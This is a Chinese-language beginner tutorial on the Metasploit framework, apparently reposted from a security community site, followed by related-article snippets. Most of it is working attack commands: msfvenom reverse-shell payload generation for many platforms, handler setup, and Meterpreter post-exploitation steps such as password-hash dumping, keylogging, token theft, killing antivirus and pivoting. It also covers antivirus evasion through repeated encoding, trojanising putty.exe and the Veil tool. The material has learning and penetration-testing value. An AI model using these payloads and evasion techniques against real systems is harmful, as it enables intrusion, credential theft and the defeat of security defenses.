记一份基础Metasploit教程 - 先知社区

标签: | 发表时间:2019-04-13 20:42 | 作者:
出处:https://xz.aliyun.com

前言

Metasploit就是一个漏洞框架。它的全称叫做 The Metasploit Framework,简称叫做 MSFMetasploit作为全球最受欢迎的工具,

不仅仅是因为它的方便性和强大性,更重要的是它的框架。它允许使用者开发自己的漏洞脚本,从而进行测试。

0x01 基本操作

1、运行

终端中输入 msfconsole

2、建立搜索缓存(数据库)

启动 PostgreSQL数据库服务: service postgresql start监听 5432端口

初始化 Metasploit数据库: msfdb init

查看数据库联接情况: msfconsole db_status

建立数据库缓存: msfconsole db_rebuild_cache

3、专业术语

      – Exploit,攻击工具/代码 
– Payload,攻击载荷 
– Shellcode 
– Module,模块 
– Listener,监听器

4、常用命令

      show exploits – 查看所有可用的渗透攻击程序代码 
show auxiliary – 查看所有可用的辅助攻击工具 
show options – 查看该模块所有可用选项 
show payloads – 查看该模块适用的所有载荷代码 
show targets – 查看该模块适用的攻击目标类型
search – 根据关键字搜索某模块 
info – 显示某模块的详细信息 
use – 进入使用某渗透攻击模块 
back – 回退 
set/unset – 设置/禁用模块中的某个参数 
setg/unsetg – 设置/禁用适用于所有模块的全局参数 
save – 将当前设置值保存下来,以便下次启动MSF终端时仍可使用

0x01 Metasploit功能程序

msfvenom(攻击载荷生成和编码器)

      主要参数:
-p payload
-e 编码方式
-i 编码次数
-b 在生成的程序中避免出现的值
LHOST,LPORT 监听上线的主机IP和端口
-f exe 生成EXE格式
使用msfvenom -l 可以查看可以利用payload
msfvenom -l | grep windows | grep x64 | grep tcp  选择payload

1、生成可执行文件

      Linux:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf
Windows:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe
Mac:
msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f macho > shell.macho
PHP:
msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php
cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php
ASP:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp > shell.asp
JSP:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.jsp
WAR:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f war > shell.war
Python:
msfvenom -p cmd/unix/reverse_python LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.py
Bash:
msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.sh
Perl:
msfvenom -p cmd/unix/reverse_perl LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.pl

2、监听

      set PAYLOAD <Payload name>
set LHOST <LHOST value>
set LPORT <LPORT value>
set ExitOnSession false   让connection保持连接(即使一个连接退出,仍然保持listening状态)
exploit -j –z  -j(作为job开始运行)和-z(不立即进行session交换--也即是自动后台运行)

3、实例

      msfvenom -p windows/x64/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 -b ‘\x00’ LHOST=172.16.0.4 LPORT=443 -f exe > abc.exe

      msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/x64/meterpreter/reverse_tcp
msf exploit(handler) > show options

      msf exploit(handler) > set LHOST 172.16.0.4
msf exploit(handler) > set ExitOnSession false
msf exploit(handler) > exploit -j -z  
-j(计划任务下进行攻击,后台) -z(攻击完成不遇会话交互)
msf exploit(handler) > jobs  查看后台攻击任务 
msf exploit(handler) > kill <id>  停止某后台攻击任务 
msf exploit(handler) > sessions -l  (查看会话)

      msf exploit(handler) > sessions -i 2   选择会话
msf exploit(handler) > sessions -k 2   结束会话

      Ctrl+z  把会话放到后台
Ctrl+c  结束会话

0x02 Meterpreter后攻击

Meterpreter提供的功能包括反追踪、纯内存工作模式、系统 信息获取、密码哈希导出、文件上传下载、屏幕截取、键盘记 录、权限提升、跳板攻击等等。

常用命令:

      meterpreter > background  放回后台
meterpreter > exit  关闭会话
meterpreter > help  帮助信息
meterpreter > Sysinfo系统平台信息
meterpreter > screenshot  屏幕截取
meterpreter > shell  命令行shell (exit退出)
meterpreter > getlwd  查看本地目录
meterpreter > lcd  切换本地目录
meterpreter > getwd  查看目录
meterpreter > ls 查看文件目录列表
meterpreter > cd  切换目录 
meterpreter > rm  删除文件 
meterpreter > download C:\\Users\\123\\Desktop\\1.txt 1.txt 下载文件
meterpreter > upload /var/www/wce.exe wce.exe  上传文件
meterpreter > search -d c:  -f *.doc  搜索文件
meterpreter > execute -f  cmd.exe -i   执行程序/命令 
meterpreter > ps  查看进程
meterpreter > run post/windows/capture/keylog_recorder   键盘记录
meterpreter > getuid  查看当前用户权限
meterpreter > use priv  加载特权模块
meterpreter > getsystem  提升到SYSTEM权限
meterpreter > hashdump  导出密码散列
meterpreter > ps   查看高权限用户PID
meterpreter > steal_token <PID>  窃取令牌
meterpreter > rev2self  恢复原来的令牌 
meterpreter > migrate pid  迁移进程
meterpreter > run killav  关闭杀毒软件 
meterpreter > run getgui-e  启用远程桌面
meterpreter > portfwd add -l 1234 -p 3389 -r <目标IP>  端口转发
meterpreter > run get_local_subnets  获取内网网段信息
meterpreter > run autoroute -s <内网网段>  创建自动路由
meterpreter > run autoroute -p  查看自动路由表
创建代理通道:
msf > use auxiliary/server/socks4a   设置socks4代理模块
msf auxiliary(socks4a) > show options 
msf auxiliary(socks4a) > run
配置proxychains参数:
nano /etc/proxychains.conf   修改代理监听端口,和前面端口一致
quite_mode  设置成安静模式:去掉如下参数前面的注释

0x03 免杀

1、多次编码免杀

      msfvenom -p windows/meterpreter/reverse_http LHOST=192.168.80.12 LPORT=443 -e x86/shikata_ga_nai-i5 -f exe -o /var/www/html/reverse_http_encode.exe

2、自定义二进制代码的文件模板免杀

使用“putty.exe”作为文件模板,而且随着putty程序运行而隐蔽同时运行,还使用编码器进行了编码。

      msfvenom -p windows/meterpreter/reverse_http LHOST=192.168.80.12 LPORT=443 -e x86/shikata_ga_nai-i5 -x ~/putty.exe -k -f exe -o /var/www/html/reverse_http_putty.exe

3、使用Veil生成免杀代码

下载地址:

1: https://github.com/Veil-Framework/Veil-Evasion(只集合了 Evasion)

2: https://github.com/Veil-Framework/Veil

安装:(建议使用 git下载,否则无法更新)

      apt-get -y install git
git clone https://github.com/Veil-Framework/Veil.git
cd Veil/
cd setup
sudo ./setup.sh -c

一路回车就行,可能中间或出现让你安装 python、ruby、go语言等,默认安装就行

运行:

      cd ~/Veil 
./Veil.py

使用 Veil-Evasion工具:

      use Evasion

列举所有模块:

      list

使用某个模块:

      use 
use c/meterpreter/rev_http.py

设置变量:

      set

生成可执行代码:

      generate

相关 [基础 metasploit 先知] 推荐:

记一份基础Metasploit教程 - 先知社区

- -
Metasploit就是一个漏洞框架. The Metasploit Framework,简称叫做. Metasploit作为全球最受欢迎的工具,. 不仅仅是因为它的方便性和强大性,更重要的是它的框架. 它允许使用者开发自己的漏洞脚本,从而进行测试. PostgreSQL数据库服务:. service postgresql start监听.

Metasploit基础学习指南

- - 牛X阿德马
Metasploit 学习指南 — 基础篇. Metasploit是一款强大的渗透测试平台,其中包括了很多渗透测试利器,本文简单介绍一下Metasploit的配置和基础的使用方法,主要包括以下几个方面:. Metasploit 的核心. Metasploit 的模块. Metasploit 的实用工具.

Metasploit Framework 4.0发布,开源的安全漏洞检测工具

- Tairan Wang - ITeye资讯频道
Metasploit是一款开源的安全漏洞检测工具,由于是免费的,因此常被安全工作人员用来检测系统的安全性. Metasploit Framework (MSF)是2003 年以开放源代码方式发布、可自由获取的开发框架,这个环境为渗透测试、shellcode 编写和漏洞研究提供了一个可靠的平台. 这个框架主要是由Ruby编写的,并带有一些C语言和汇编语言组件.

Metasploit中的JAVA反向TCP做法的研究

- - FreeBuf.COM | 关注黑客与极客
在研究CVE-2015-7450这个JAVA反序列化漏洞时,面临着一个问题:在WebSphere中,该漏洞仅可以执行命令,但是不能回显执行结果. 遇到这种漏洞,通常的做法都是利用wget或者curl这样的命令来执行一个http请求,将需要的信息送出. 原因是我司大量使用的是AIX操作系统,且是不含有任何功能增强的“裸版”.

Metasploit Framework 6.1.32+20220303 (macOS, Linux, Windows) -- 渗透测试框架

- - SYStem INside
请访问原文链接: Metasploit Framework 6.1.32+20220303 (macOS, Linux, Windows) -- 渗透测试框架,查看最新版. 作者主页: www.sysin.org. 世界上最广泛使用的渗透测试框架. 知识就是力量,尤其是当它被分享时. 作为开源社区和 Rapid7 之间的合作,Metasploit 帮助安全团队做的不仅仅是验证漏洞、管理安全评估和提高安全意识;它使防守队员能够始终领先比赛一步(或两步).

利用旧版Android漏洞的E-Z-2-Use攻击代码已在Metasploit发布

- - FreeBuf.COM
利用旧版Android漏洞的E-Z-2-Use攻击代码发布利用Android操作系统WebView编程接口漏洞的攻击代码已作为一个模块加入到开源漏洞利用框架Metasploit中. 漏洞影响Android 4.2之前的版本,Google在Android 4.2中修正了这个漏洞,但根据官方统计,超过五成用户仍然使用存在漏洞的旧版本.

黑客或者从事安全领域工作的人用metasploit、Nessus这些工具用的多吗? - 知乎

- -
作为一个世界500强的金融企业,我们对于漏洞自查这块,完全依赖于商业版Findstone,在买这个以前,自查都用的免费版Nessus. 上面反映的威胁,中、高、高危一律限期整改,结束. 我们会自己写脚本来加固标装OS,会聘请军工来对自己进行透渗试测,会优化基线并推行,但是不会自己写工具实现自己的需求.

HTTP基础

- - ITeye博客
HTTP的结构主要包括下面几个要点:. HTTP的版本主要有1.0,1.1 和更高版本.    1.1 及以上版本允许在一个TCP连接上传送多个HTTP协议,1.0能 .    1.1 及以上版本多个请求和响应可以重叠,1.0不能.    1.1 增加了很多的请求头和响应头.     一个请求行,若干小心头,以及实体内容,其中的一些消息头和实体内容是可选的,消息头和实体内容需要空行隔开.

Git基础

- Wolf - 潘魏增
上个月末在公司内部作了一次《Git基础》的主题分享. 这里把分享内容公布出来,希望对一些朋友有用. 如果之前没有接触过Git,wikipedia上面已经有非常好的介绍. pdf格式:http://panweizeng.com/download/git-basics-meituan.pdf. keynote格式:http://panweizeng.com/download/git-basics-meituan.key.

JavaScript 基础

- - CSDN博客推荐文章
JavaScript可以出现在HTML的任意地方,甚至在之前插入也不成问题,使用标签. 不过要在框架网页中插入的话,就一定要在之前插入,否则不会运行. JavaScript对数据类型要求不严格,一般来说,声明变量的时候不需要声明类型,而且就算声明了类型,在使用过程中也可以给变量赋予其他类型的值,声明变量使用var关键字.